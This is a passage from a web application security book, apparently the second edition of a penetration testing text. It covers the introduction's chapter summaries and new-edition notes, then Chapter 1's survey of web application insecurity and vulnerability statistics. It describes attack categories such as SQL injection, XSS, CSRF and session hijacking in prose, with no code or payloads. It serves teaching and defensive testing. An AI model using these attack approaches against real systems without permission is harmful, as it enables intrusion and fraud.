the fi rst exercise you need to perform when targeting a new application — gathering as much information as possible to map its attack surface and formulate your plan of attack. This process includes exploring and probing the application to catalog all its content and functionality, identifying all the entry points for user input, and discover- ing the technologies in use. Chapter 5, “Bypassing Client-Side Controls,” covers the fi rst area of actual vulnerability, which arises when an application relies on controls implemented on the client side for its security. This approach normally is fl awed, because any client-side controls can, of course, be circumvented. The two main ways in which applications make themselves vulnerable are by transmitting data via the client on the assumption that it will not be modifi ed, and by relying on client-side checks on user input. This chapter describes a range of interesting technologies, including lightweight controls implemented within HTML, HTTP, and JavaScript, and more heavyweight controls using Java applets, ActiveX controls, Silverlight, and Flash objects. flast.indd xxvflast.indd xxv 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxvi xxvi Introduction Chapters 6, 7, and 8 cover some of the most important defense mechanisms implemented within web applications: those responsible for controlling user access. Chapter 6, “Attacking Authentication,” examines the various functions by which applications gain assurance of their users’ identity. This includes the main login function and also the more peripheral authentication-related functions such as user registration, password changing, and account recovery. Authentication mechanisms contain a wealth of different vulnerabilities, in both design and implementation, which an attacker can leverage to gain unauthorized access. These range from obvious defects, such as bad passwords and susceptibility to brute-force attacks, to more obscure problems within the authentication logic. We also examine in detail the types of multistage login mechanisms used in many security-critical applications and describe the new kinds of vulnerabilities these frequently contain. Chapter 7, “Attacking Session Management,” examines the mechanism by which most applications supplement the stateless HTTP protocol with the concept of a stateful session, enabling them to uniquely identify each user across several different requests. This mechanism is a key target when you are attacking a web application, because if you can break it, you can effectively bypass the login and masquerade as other users without knowing their credentials. We look at various common defects in the generation and transmission of session tokens and describe the steps you can take to discover and exploit these. Chapter 8, “Attacking Access Controls,” looks at the ways in which applica- tions actually enforce access controls, relying on authentication and session management mechanisms to do so. We describe various ways in which access controls can be broken and how you can detect and exploit these weaknesses. Chapters 9 and 10 cover a large category of related vulnerabilities, which arise when applications embed user input into interpreted code in an unsafe way. Chapter 9, “Attacking Data Stores,” begins with a detailed examination of SQL injection vulnerabilities. It covers the full range of attacks, from the most obvious and trivial to advanced exploitation techniques involving out-of-band channels, inference, and time delays. For each kind of vulnerability and attack technique, we describe the relevant differences between three common types of databases: MS-SQL, Oracle, and MySQL. We then look at a range of similar attacks that arise against other data stores, including NoSQL, XPath, and LDAP. Chapter 10, “Attacking Back-End Components,” describes several other cate- gories of injection vulnerabilities, including the injection of operating system commands, injection into web scripting languages, fi le path traversal attacks, fi le inclusion vulnerabilities, injection into XML, SOAP, back-end HTTP requests, and e-mail services. Chapter 11, “Attacking Application Logic,” examines a signifi cant, and fre- quently overlooked, area of every application’s attack surface: the internal logic it employs to implement its functionality. Defects in an application’s logic are extremely varied and are harder to characterize than common vulnerabilities flast.indd xxviflast.indd xxvi 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxvii Introduction xxvii such as SQL injection and cross-site scripting. For this reason, we present a series of real-world examples in which defective logic has left an application vulnerable. These illustrate the variety of faulty assumptions that application designers and developers make. From these different individual fl aws, we derive a series of specifi c tests that you can perform to locate many types of logic fl aws that often go undetected. Chapters 12 and 13 cover a large and very topical area of related vulnerabili- ties that arise when defects within a web application can enable a malicious user of the application to attack other users and compromise them in vari- ous ways. Chapter 12, “Attacking Users: Cross-Site Scripting,”, examines the most prominent vulnerability of this kind — a hugely prevalent fl aw affecting the vast majority of web applications on the Internet. We examine in detail all the different fl avors of XSS vulnerabilities and describe an effective methodology for detecting and exploiting even the most obscure manifestations of these. Chapter 13, “Attacking Users: Other Techniques,” looks at several other types of attacks against other users, including inducing user actions through request forgery and UI redress, capturing data cross-domain using various client-side technologies, various attacks against the same-origin policy, HTTP header injection, cookie injection and session fi xation, open redirection, client-side SQL injection, local privacy attacks, and exploiting bugs in ActiveX controls. The chapter concludes with a discussion of a range of attacks against users that do not depend on vulnerabilities in any particular web application, but that can be delivered via any malicious web site or suitably positioned attacker. Chapter 14, “Automating Customized Attacks,” does not introduce any new categories of vulnerabilities. Instead, it describes a crucial technique you need to master to attack web applications effectively. Because every web application is different, most attacks are customized in some way, tailored to the applica- tion’s specifi c behavior and the ways you have discovered to manipulate it to your advantage. They also frequently require issuing a large number of similar requests and monitoring the application’s responses. Performing these requests manually is extremely laborious and prone to mistakes. To become a truly accomplished web application hacker, you need to automate as much of this work as possible to make your customized attacks easier, faster, and more effec- tive. This chapter describes in detail a proven methodology for achieving this. We also examine various common barriers to the use of automation, including defensive session-handling mechanisms and CAPTCHA controls. Furthermore, we describe tools and techniques you can use to overcome these barriers. Chapter 15, “Exploiting Information Disclosure,” examines various ways in which applications leak information when under active attack. When you are performing all the other types of attacks described in this book, you should always monitor the application to identify further sources of information dis- closure that you can exploit. We describe how you can investigate anomalous behavior and error messages to gain a deeper understanding of the application’s flast.indd xxviiflast.indd xxvii 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxviii xxviii Introduction internal workings and fi ne-tune your attack. We also cover ways to manipulate defective error handling to systematically retrieve sensitive information from the application. Chapter 16, “Attacking Native Compiled Applications,” looks at a set of impor- tant vulnerabilities that arise in applications written in native code languages such as C and C++. These vulnerabilities include buffer overfl ows, integer vul- nerabilities, and format string fl aws. Because this is a potentially huge topic, we focus on ways to detect these vulnerabilities in web applications and look at some real-world examples of how these have arisen and been exploited. Chapter 17, “Attacking Application Architecture,” examines an important area of web application security that is frequently overlooked. Many applications employ a tiered architecture. Failing to segregate different tiers properly often leaves an application vulnerable, enabling an attacker who has found a defect in one component to quickly compromise the entire application. A different range of threats arises in shared hosting environments, where defects or mali- cious code in one application can sometimes be exploited to compromise the environment itself and other applications running within it. This chapter also looks at the range of threats that arise in the kinds of shared hosting environ- ments that have become known as “cloud computing.” Chapter 18, “Attacking the Application Server,” describes various ways in which you can target a web application by targeting the web server on which it is running. Vulnerabilities in web servers are broadly composed of defects in their confi guration and security fl aws within the web server software. This topic is on the boundary of the subjects covered in this book, because the web server is strictly a different component in the technology stack. However, most web applications are intimately bound up with the web server on which they run. Therefore, attacks against the web server are included in the book because they can often be used to compromise an application directly, rather than indirectly by fi rst compromising the underlying host. Chapter 19, “Finding Vulnerabilities in Source Code,” describes a completely different approach to fi nding security fl aws than those described elsewhere within this book. In many situations it may be possible to review an applica- tion’s source code, not all of which requires cooperation from the application’s owner. Reviewing an application’s source code can often be highly effective in discovering vulnerabilities that would be diffi cult or time-consuming to detect by probing the running application. We describe a methodology, and provide a language-by-language cheat sheet, to enable you to perform an effective code review even if you have limited programming experience. Chapter 20, “A Web Application Hacker’s Toolkit,” pulls together the various tools described in this book. These are the same tools the authors use when attack- ing real-world web applications. We examine the key features of these tools and describe in detail the type of work fl ow you generally need to employ to get the best out of them. We also examine the extent to which any fully automated tool flast.indd xxviiiflast.indd xxviii 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxix Introduction xxix can be effective in fi nding web application vulnerabilities. Finally, we provide some tips and advice for getting the most out of your toolkit. Chapter 21, “A Web Application Hacker’s Methodology,” is a comprehensive and structured collation of all the procedures and techniques described in this book. These are organized and ordered according to the logical dependencies between tasks when you are carrying out an actual attack. If you have read about and understood all the vulnerabilities and techniques described in this book, you can use this methodology as a complete checklist and work plan when carrying out an attack against a web application. What’s New in This Edition In the four years since the fi rst edition of this book was published, much has changed, and much has stayed the same. The march of new technology has, of course, continued apace, and this has given rise to specifi c new vulnerabilities and attacks. The ingenuity of hackers has also led to the development of new attack techniques and new ways of exploiting old bugs. But neither of these factors, technological or human, has created a revolution. The technologies used in today’s applications have their roots in those that are many years old. And the fundamental concepts involved in today’s cutting-edge exploitation techniques are older than many of the researchers who are applying them so effectively. Web application security is a dynamic and exciting area to work in, but the bulk of what constitutes our accumulated wisdom has evolved slowly over many years. It would have been distinctively recognizable to practitioners working a decade or more ago. This second edition is not a complete rewrite of the fi rst. Most of the material in the fi rst edition remains valid and current today. Approximately 30% of the content in this edition is either new or extensively revised. The remaining 70% has had minor modifi cations or none at all. If you have upgraded from the fi rst edition and feel disappointed by these numbers, you should take heart. If you have mastered all the techniques described in the fi rst edition, you already have the majority of the skills and knowledge you need. You can focus on what is new in this edition and quickly learn about the areas of web application security that have changed in recent years. One signifi cant new feature of the second edition is the inclusion through- out the book of real examples of nearly all the vulnerabilities that are covered. Wherever you see a “Try It!” link, you can go online and work interactively with the example being discussed to confi rm that you can fi nd and exploit the vulnerability it contains. There are several hundred of these labs, which you can work through at your own pace as you read the book. The online labs are available on a subscription basis for a modest fee to cover the costs of hosting and maintaining the infrastructure involved. flast.indd xxixflast.indd xxix 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxx xxx Introduction If you want to focus on what’s new in the second edition, here is a summary of the key areas where material has been added or rewritten: Chapter 1, “Web Application (In)security,” has been partly updated to refl ect new uses of web applications, some broad trends in technologies, and the ways in which a typical organization’s security perimeter has continued to change. Chapter 2, “Core Defense Mechanisms,” has had minor changes. A few examples have been added of generic techniques for bypassing input valida- tion defenses. Chapter 3, “Web Application Technologies,” has been expanded with some new sections describing technologies that are either new or that were described more briefl y elsewhere within the fi rst edition. The topics added include REST, Ruby on Rails, SQL, XML, web services, CSS, VBScript, the document object model, Ajax, JSON, the same-origin policy, and HTML5. Chapter 4, “Mapping the Application,” has received various minor updates to refl ect developments in techniques for mapping content and functionality. Chapter 5, “Bypassing Client-Side Controls,” has been updated more exten- sively. In particular, the section on browser extension technologies has been largely rewritten to include more detailed guidance on generic approaches to bytecode decompilation and debugging, how to handle serialized data in com- mon formats, and how to deal with common obstacles to your work, including non-proxy-aware clients and problems with SSL. The chapter also now covers Silverlight technology. Chapter 6, “Attacking Authentication,” remains current and has only minor updates. Chapter 7, “Attacking Session Management,” has been updated to cover new tools for automatically testing the quality of randomness in tokens. It also contains new material on attacking encrypted tokens, including practical techniques for token tampering without knowing either the cryptographic algorithm or the encryption key being used. Chapter 8, “Attacking Access Controls,” now covers access control vulner- abilities arising from direct access to server-side methods, and from platform misconfi guration where rules based on HTTP methods are used to control access. It also describes some new tools and techniques you can use to partially automate the frequently onerous task of testing access controls. The material in Chapters 9 and 10 has been reorganized to create more man- ageable chapters and a more logical arrangement of topics. Chapter 9, “Attacking Data Stores,” focuses on SQL injection and similar attacks against other data store technologies. As SQL injection vulnerabilities have become more widely understood and addressed, this material now focuses more on practical situa- tions where SQL injection is still found. There are also minor updates through- out to refl ect current technologies and attack methods. A new section on using automated tools for exploiting SQL injection vulnerabilities is included. The material on LDAP injection has been largely rewritten to include more detailed flast.indd xxxflast.indd xxx 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxxi Introduction xxxi coverage of specifi c technologies (Microsoft Active Directory and OpenLDAP), as well as new techniques for exploiting common vulnerabilities. This chapter also now covers attacks against NoSQL. Chapter 10, “Attacking Back-End Components,” covers the other types of server-side injection vulnerabilities that were previously included in Chapter 9. New sections cover XML external entity injection and injection into back-end HTTP requests, including HTTP parameter injection/pollution and injection into URL rewriting schemes. Chapter 11, “Attacking Application Logic,” includes more real-world examples of common logic fl aws in input validation functions. With the increased usage of encryption to protect application data at rest, we also include an example of how to identify and exploit encryption oracles to decrypt encrypted data. The topic of attacks against other application users, previously covered in Chapter 12, has been split into two chapters, because this material was becom- ing unmanageably large. Chapter 12, “Attacking Users: Cross-Site Scripting,” focuses solely on XSS. This material has been extensively updated in various areas. The sections on bypassing defensive fi lters to introduce script code have been completely rewritten to cover new techniques and technologies, includ- ing various little-known methods for executing script code on current brows- ers. There is also much more detailed coverage of methods for obfuscating script code to bypass common input fi lters. The chapter includes several new examples of real-world XSS attacks. A new section on delivering working XSS exploits in challenging conditions covers escalating an attack across application pages, exploiting XSS via cookies and the Referer header, and exploiting XSS in nonstandard request and response content such as XML. There is a detailed examination of browsers’ built-in XSS fi lters and how these can be circumvented to deliver exploits. New sections discuss specifi c techniques for exploiting XSS in webmail applications and in uploaded fi les. Finally, there are various updates to the defensive measures that can be used to prevent XSS attacks. The new Chapter 13, “Attacking Users: Other Techniques,” unites the remain- der of this huge area. The topic of cross-site request forgery has been updated to include CSRF attacks against the login function, common defects in anti-CSRF defenses, UI redress attacks, and common defects in framebusting defenses. A new section on cross-domain data capture includes techniques for stealing data by injecting text containing nonscripting HTML and CSS, and various tech- niques for cross-domain data capture using JavaScript and E4X. A new section examines the same-origin policy in more detail, including its implementation in different browser extension technologies, the changes brought by HTML5, and ways of crossing domains via proxy service applications. There are new sections on client-side cookie injection, SQL injection, and HTTP parameter pol- lution. The section on client-side privacy attacks has been expanded to include storage mechanisms provided by browser extension technologies and HTML5. Finally, a new section has been added drawing together general attacks against flast.indd xxxiflast.indd xxxi 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxxii xxxii Introduction web users that do not depend on vulnerabilities in any particular application. These attacks can be delivered by any malicious or compromised web site or by an attacker who is suitably positioned on the network. Chapter 14, “Automating Customized Attacks,” has been expanded to cover common barriers to automation and how to circumvent them. Many applications employ defensive session-handling mechanisms that terminate sessions, use ephemeral anti-CSRF tokens, or use multistage processes to update application state. Some new tools are described for handling these mechanisms, which let you continue using automated testing techniques. A new section examines CAPTCHA controls and some common vulnerabilities that can often be exploited to circumvent them. Chapter 15, “Exploiting Information Disclosure,” contains new sections about XSS in error messages and exploiting decryption oracles. Chapter 16, “Attacking Native Compiled Applications,” has not been updated. Chapter 17, “Attacking Application Architecture,” has a new section about vulnerabilities that arise in cloud-based architectures, and updated examples of exploiting architecture weaknesses. Chapter 18, “Attacking the Application Server,” contains several new examples of interesting vulnerabilities in application servers and platforms, including Jetty, the JMX management console, ASP.NET, Apple iDisk server, Ruby WEBrick web server, and Java web server. It also has a new section on practical approaches to circumventing web application fi rewalls. Chapter 19, “Finding Vulnerabilities in Source Code,” has not been updated. Chapter 20, “A Web Application Hacker’s Toolkit,” has been updated with details on the latest features of proxy-based tool suites. It contains new sections on how to proxy the traffi c of non-proxy-aware clients and how to eliminate SSL errors in browsers and other clients caused by the use of an intercepting proxy. This chapter contains a detailed description of the work fl ow that is typically employed when you test using a proxy-based tool suite. It also has a new dis- cussion about current web vulnerability scanners and the optimal approaches to using these in different situations. Chapter 21, “A Web Application Hacker’s Methodology,” has been updated to refl ect the new methodology steps described throughout the book. Tools You Will Need This book is strongly geared toward hands-on techniques you can use to attack web applications. After reading the book, you will understand the specifi cs of each individual task, what it involves technically, and why it helps you detect and exploit vulnerabilities. The book is emphatically not about downloading a tool, pointing it at a target application, and believing what the tool’s output tells you about the state of the application’s security. flast.indd xxxiiflast.indd xxxii 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxxiii Introduction xxxiii That said, you will fi nd several tools useful, and sometimes indispensable, when performing the tasks and techniques we describe. All of these are avail- able on the Internet. We recommend that you download and experiment with each tool as you read about it. What’s on the Website The companion website for this book at http://mdsec.net/wahh,which you can also link to from www/wiley.com/go/webhacker2e, contains several resources that you will fi nd useful in the course of mastering the techniques we describe and using them to attack actual applications. In particular, the website contains access to the following: Source code for some of the scripts we present in the book A list of current links to all the tools and other resources discussed in the book A handy checklist of the tasks involved in attacking a typical application Answers to the questions posed at the end of each chapter Hundreds of interactive vulnerability labs that are used in examples throughout this book and that are available on a subscription basis to help you develop and refi ne your skills Bring It On Web application security remains a fun and thriving subject. We enjoyed writ- ing this book as much as we continue to enjoy hacking into web applications on a daily basis. We hope that you will also take pleasure from learning about the different techniques we describe and how you can defend against them. Before going any further, we should mention an important caveat. In most countries, attacking computer systems without the owner’s permission is against the law. The majority of the techniques we describe are illegal if carried out without consent. The authors are professional penetration testers who routinely attack web applications on behalf of clients to help them improve their security. In recent years, numerous security professionals and others have acquired criminal records — and ended their careers — by experimenting on or actively attack- ing computer systems without permission. We urge you to use the information contained in this book only for lawful purposes. flast.indd xxxiiiflast.indd xxxiii 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxxiv flast.indd xxxivflast.indd xxxiv 8/19/2011 12:23:08 PM8/19/2011 12:23:08 PMStuttard c01.indd V2 - 07/07/2011 Page 1 1 CHAPTER 1 Web Application (In)security There is no doubt that web application security is a current and newsworthy subject. For all concerned, the stakes are high: for businesses that derive increas- ing revenue from Internet commerce, for users who trust web applications with sensitive information, and for criminals who can make big money by stealing payment details or compromising bank accounts. Reputation plays a critical role. Few people want to do business with an insecure website, so few organizations want to disclose details about their own security vulnerabilities or breaches. Hence, it is not a trivial task to obtain reliable information about the state of web application security today. This chapter takes a brief look at how web applications have evolved and the many benefi ts they provide. We present some metrics about vulnerabilities in current web applications, drawn from the authors’ direct experience, demon- strating that the majority of applications are far from secure. We describe the core security problem facing web applications — that users can supply arbitrary input — and the various factors that contribute to their weak security posture. Finally, we describe the latest trends in web application security and how these may be expected to develop in the near future. c01.indd 1c01.indd 1 8/19/2011 12:02:02 PM8/19/2011 12:02:02 PMStuttard c01.indd V2 - 07/07/2011 Page 2 2 Chapter 1 Web Application (In)security The Evolution of Web Applications In the early days of the Internet, the World Wide Web consisted only of web sites. These were essentially information repositories containing static docu- ments. Web browsers were invented as a means of retrieving and displaying those documents, as shown in Figure 1-1. The fl ow of interesting information was one-way, from server to browser. Most sites did not authenticate users, because there was no need to. Each user was treated in the same way and was presented with the same information. Any security threats arising from host- ing a website were related largely to vulnerabilities in web server software (of which there were many). If an attacker compromised a web server, he usually would not gain access to any sensitive information, because the information held on the server was already open to public view. Rather, an attacker typically would modify the fi les on the server to deface the web site’s contents or use the server’s storage and bandwidth to distribute “warez.” Figure 1-1: A traditional website containing static information Today, the World Wide Web is almost unrecognizable from its earlier form. The majority of sites on the web are in fact applications (see Figure 1-2). They are highly functional and rely on two-way fl ow of information between the server and browser. They support registration and login, fi nancial transactions, c01.indd 2c01.indd 2 8/19/2011 12:02:02 PM8/19/2011 12:02:02 PMStuttard c01.indd V2 - 07/07/2011 Page 3 Chapter 1 Web Application (In)security 3 search, and the authoring of content by users. The content presented to users is generated dynamically on the fl y and is often tailored to each specifi c user. Much of the information processed is private and highly sensitive. Security, therefore, is a big issue. No one wants to use a web application if he believes his information will be disclosed to unauthorized parties. Figure 1-2: A typical web application Web applications bring with them new and signifi cant security threats. Each application is different and may contain unique vulnerabilities. Most applica- tions are developed in-house — many by developers who have only a partial understanding of the security problems that may arise in the code they are producing. To deliver their core functionality, web applications normally require connectivity to internal computer systems that contain highly sensitive data and that can perform powerful business functions. Fifteen years ago, if you wanted to make a funds transfer, you visited your bank, and the teller performed the transfer for you; today, you can visit a web application and perform the transfer yourself. An attacker who compromises a web application may be able to steal personal information, carry out fi nancial fraud, and perform malicious actions against other users. c01.indd 3c01.indd 3 8/19/2011 12:02:02 PM8/19/2011 12:02:02 PMStuttard c01.indd V2 - 07/07/2011 Page 4 4 Chapter 1 Web Application (In)security Common Web Application Functions Web applications have been created to perform practically every useful function you could possibly implement online. Here are some web application functions that have risen to prominence in recent years: Shopping (Amazon) Social networking (Facebook) Banking (Citibank) Web search (Google) Auctions (eBay) Gambling (Betfair) Web logs (Blogger) Web mail (Gmail) Interactive information (Wikipedia) Applications that are accessed using a computer browser increasingly overlap with mobile applications that are accessed using a smartphone or tablet. Most mobile applications employ either a browser or a customized client that uses HTTP-based APIs to communicate with the server. Application functions and data typically are shared between the various interfaces that the application exposes to different user platforms. In addition to the public Internet, web applications have been widely adopted inside organizations to support key business functions. Many of these provide access to highly sensitive data and functionality: HR applications allowing users to access payroll information, give and receive performance feedback, and manage recruitment and disciplinary procedures. Administrative interfaces to key infrastructure such as web and mail servers, user workstations, and virtual machine administration. Collaboration software used for sharing documents, managing work- fl ow and projects, and tracking issues. These types of functionality often involve critical security and governance issues, and organizations often rely completely on the controls built into their web applications. Business applications such as enterprise resource planning (ERP) software, which previously were accessed using a proprietary thick-client applica- tion, can now be accessed using a web browser. c01.indd 4c01.indd 4 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 5 Chapter 1 Web Application (In)security 5 Software services such as e-mail, which originally required a separate e-mail client, can now be accessed via web interfaces such as Outlook Web Access. Traditional desktop offi ce applications such as word processors and spread- sheets have been migrated to web applications through services such as Google Apps and Microsoft Offi ce Live. In all these examples, what are perceived as “internal” applications are increas- ingly being hosted externally as organizations move to outside service providers to cut costs. In these so-called cloud solutions, business-critical functionality and data are opened to a wider range of potential attackers, and organizations are increasingly reliant on the integrity of security defenses that are outside of their control. The time is fast approaching when the only client software that most com- puter users will need is a web browser. A diverse range of functions will have been implemented using a shared set of protocols and technologies, and in so doing will have inherited a distinctive range of common security vulnerabilities. Benefi ts of Web Applications It is not diffi cult to see why web applications have enjoyed such a dramatic rise to prominence. Several technical factors have worked alongside the obvious commercial incentives to drive the revolution that has occurred in how we use the Internet: HTTP, the core communications protocol used to access the World Wide Web, is lightweight and connectionless. This provides resilience in the event of communication errors and avoids the need for the server to hold open a network connection to every user, as was the case in many legacy client/server applications. HTTP can also be proxied and tunneled over other protocols, allowing for secure communication in any network confi guration. Every web user already has a browser installed on his computer and mobile device. Web applications deploy their user interface dynamically to the browser, avoiding the need to distribute and manage separate client software, as was the case with pre-web applications. Changes to the interface need to be implemented only once, on the server, and take effect immediately. Today’s browsers are highly functional, enabling rich and satisfying user interfaces to be built. Web interfaces use standard navigational and c01.indd 5c01.indd 5 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 6 6 Chapter 1 Web Application (In)security input controls that are immediately familiar to users, avoiding the need to learn how each individual application functions. Client-side scripting enables applications to push part of their processing to the client side, and browsers’ capabilities can be extended in arbitrary ways using browser extension technologies where necessary. The core technologies and languages used to develop web applications are relatively simple. A wide range of platforms and development tools are available to facilitate the development of powerful applications by relative beginners, and a large quantity of open source code and other resources is available for incorporation into custom-built applications. Web Application Security As with any new class of technology, web applications have brought with them a new range of security vulnerabilities. The set of most commonly encountered defects has evolved somewhat over time. New attacks have been conceived that were not considered when existing applications were developed. Some problems have become less prevalent as awareness of them has increased. New technologies have been developed that have introduced new possibilities for exploitation. Some categories of fl aws have largely gone away as the result of changes made to web browser software. The most serious attacks against web applications are those that expose sensitive data or gain unrestricted access to the back-end systems on which the application is running. High-profi le compromises of this kind continue to occur frequently. For many organizations, however, any attack that causes system downtime is a critical event. Application-level denial-of-service attacks can be used to achieve the same results as traditional resource exhaustion attacks against infrastructure. However, they are often used with more subtle techniques and objectives. They may be used to disrupt a particular user or service to gain a competitive edge against peers in the realms of fi nancial trad- ing, gaming, online bidding, and ticket reservations. Throughout this evolution, compromises of prominent web applications have remained in the news. There is no sense that a corner has been turned and that these security problems are on the wane. By some measure, web application security is today the most signifi cant battleground between attackers and those with computer resources and data to defend, and it is likely to remain so for the foreseeable future. c01.indd 6c01.indd 6 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 7 Chapter 1 Web Application (In)security 7 “This Site Is Secure” There is a widespread awareness that security is an issue for web applications. Consult the FAQ page of a typical application, and you will be reassured that it is in fact secure. Most applications state that they are secure because they use SSL. For example: This site is absolutely secure. It has been designed to use 128-bit Secure Socket Layer (SSL) technology to prevent unauthorized users from viewing any of your information. You may use this site with peace of mind that your data is safe with us. Users are often urged to verify the site’s certifi cate, admire the advanced cryptographic protocols in use, and, on this basis, trust it with their personal information. Increasingly, organizations also cite their compliance with Payment Card Industry (PCI) standards to reassure users that they are secure. For example: We take security very seriously. Our web site is scanned daily to ensure that we remain PCI compliant and safe from hackers. You can see the date of the latest scan on the logo below, and you are guaranteed that our web site is safe to use. In fact, the majority of web applications are insecure, despite the widespread usage of SSL technology and the adoption of regular PCI scanning. The authors of this book have tested hundreds of web applications in recent years. Figure 1-3 shows what percentage of applications tested during 2007 and 2011 were found to be affected by some common categories of vulnerability: Broken authentication (62%) — This category of vulnerability encom- passes various defects within the application’s login mechanism, which may enable an attacker to guess weak passwords, launch a brute-force attack, or bypass the login. Broken access controls (71%) — This involves cases where the application fails to properly protect access to its data and functionality, potentially enabling an attacker to view other users’ sensitive data held on the server or carry out privileged actions. SQL injection (32%) — This vulnerability enables an attacker to submit crafted input to interfere with the application’s interaction with back-end databases. An attacker may be able to retrieve arbitrary data from the application, interfere with its logic, or execute commands on the database server itself. c01.indd 7c01.indd 7 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 8 8 Chapter 1 Web Application (In)security Cross-site scripting (94%) — This vulnerability enables an attacker to target other users of the application, potentially gaining access to their data, performing unauthorized actions on their behalf, or carrying out other attacks against them. Information leakage (78%) — This involves cases where an application divulges sensitive information that is of use to an attacker in developing an assault against the application, through defective error handling or other behavior. Cross-site request forgery (92%) — This fl aw means that application users can be induced to perform unintended actions on the application within their user context and privilege level. The vulnerability allows a malicious web site visited by the victim user to interact with the applica- tion to perform actions that the user did not intend. Figure 1-3: The incidence of some common web application vulnerabilities in applications recently tested by the authors (based on a sample of more than 100) 92% 78% 94% 32% 71% 62% 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% Cross-site request forgery Information leakage Cross-site scripting SQL injection Broken access controls Broken authentication Incidence in recently tested applications SSL is an excellent technology that protects the confi dentiality and integrity of data in transit between the user’s browser and the web server. It helps defend against eavesdroppers, and it can provide assurance to the user of the identity of the web server he is dealing with. But it does not stop attacks that directly target the server or client components of an application, as most successful attacks do. Specifi cally, it does not prevent any of the vulnerabilities just listed, or many others that can render an application critically exposed to attack. Regardless of whether they use SSL, most web applications still contain security fl aws. c01.indd 8c01.indd 8 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 9 Chapter 1 Web Application (In)security 9 The Core Security Problem: Users Can Submit Arbitrary Input As with most distributed applications, web applications face a fundamental problem they must address to be secure. Because the client is outside of the application’s control, users can submit arbitrary input to the server-side appli- cation. The application must assume that all input is potentially malicious. Therefore, it must take steps to ensure that attackers cannot use crafted input to compromise the application by interfering with its logic and behavior, thus gaining unauthorized access to its data and functionality. This core problem manifests itself in various ways: Users can interfere with any piece of data transmitted between the client and the server, including request parameters, cookies, and HTTP head- ers. Any security controls implemented on the client side, such as input validation checks, can be easily circumvented. Users can send requests in any sequence and can submit parameters at a different stage than the application expects, more than once, or not at all. Any assumption developers make about how users will interact with the application may be violated. Users are not restricted to using only a web browser to access the application. Numerous widely available tools operate alongside, or independently of, a browser to help attack web applications. These tools can make requests that no browser would ordinarily make and can generate huge numbers of requests quickly to fi nd and exploit problems. The majority of attacks against web applications involve sending input to the server that is crafted to cause some event that was not expected or desired by the application’s designer. Here are some examples of submitting crafted input to achieve this objective: Changing the price of a product transmitted in a hidden HTML form fi eld to fraudulently purchase the product for a cheaper amount Modifying a session token transmitted in an HTTP cookie to hijack the session of another authenticated user Removing certain parameters that normally are submitted to exploit a logic fl aw in the application’s processing Altering some input that will be processed by a back-end database to inject a malicious database query and access sensitive data Needless to say, SSL does nothing to stop an attacker from submitting crafted input to the server. If the application uses SSL, this simply means that other users on the network cannot view or modify the attacker’s data in transit. Because c01.indd 9c01.indd 9 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 10 10 Chapter 1 Web Application (In)security the attacker controls her end of the SSL tunnel, she can send anything she likes to the server through this tunnel. If any of the previously mentioned attacks are successful, the application is emphatically vulnerable, regardless of what its FAQ may tell you. Key Problem Factors The core security problem faced by web applications arises in any situation where an application must accept and process untrusted data that may be mali- cious. However, in the case of web applications, several factors have combined to exacerbate the problem and explain why so many web applications on the Internet today do such a poor job of addressing it. Underdeveloped Security Awareness Although awareness of web application security issues has grown in recent years, it remains less well-developed than in longer-established areas such as networks and operating systems. Although most people working in IT security have a reasonable grasp of the essentials of securing networks and hardening hosts, widespread confusion and misconception still exist about many of the core concepts involved in web application security. A web application devel- oper’s work increasingly involves weaving together tens, or even hundreds, of third-party packages, all designed to abstract the developer away from the underlying technologies. It is common to meet experienced web application developers who make major assumptions about the security provided by their programming framework and to whom an explanation of many basic types of fl aws comes as a revelation. Custom Development Most web applications are developed in-house by an organization’s own staff or third-party contractors. Even where an application employs well-established components, these are typically customized or bolted together using new code. In this situation, every application is different and may contain its own unique defects. This stands in contrast to a typical infrastructure deployment, in which an organization can purchase a best-of-breed product and install it in line with industry-standard guidelines. Deceptive Simplicity With today’s web application platforms and development tools, it is possible for a novice programmer to create a powerful application from scratch in a short period of time. But there is a huge difference between producing code that is c01.indd 10c01.indd 10 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 11 Chapter 1 Web Application (In)security 11 functional and code that is secure. Many web applications are created by well- meaning individuals who simply lack the knowledge and experience to identify where security problems may arise. A prominent trend in recent years has been the use of application frameworks that provide ready-made code components to handle numerous common areas of functionality, such as authentication, page templates, message boards, and integration with common back-end infrastructure components. Examples of these frameworks include Liferay and Appfuse. These products make it quick and easy to create working applications without requiring a technical understanding of how the applications work or the potential risks they may contain. This also means many companies use the same frameworks. Thus, when a vulnerability is discovered, it affects many unrelated applications. Rapidly Evolving Threat Profi le Research into web application attacks and defenses continues to be a thriving area in which new concepts and threats are conceived at a faster rate than is now the case for older technologies. Particularly on the client side, it is common for the accepted defenses against a particular attack to be undermined by research that demonstrates a new attack technique. A development team that begins a project with a complete knowledge of current threats may have lost this status by the time the application is completed and deployed. Resource and Time Constraints Most web application development projects are subject to strict constraints on time and resources, arising from the 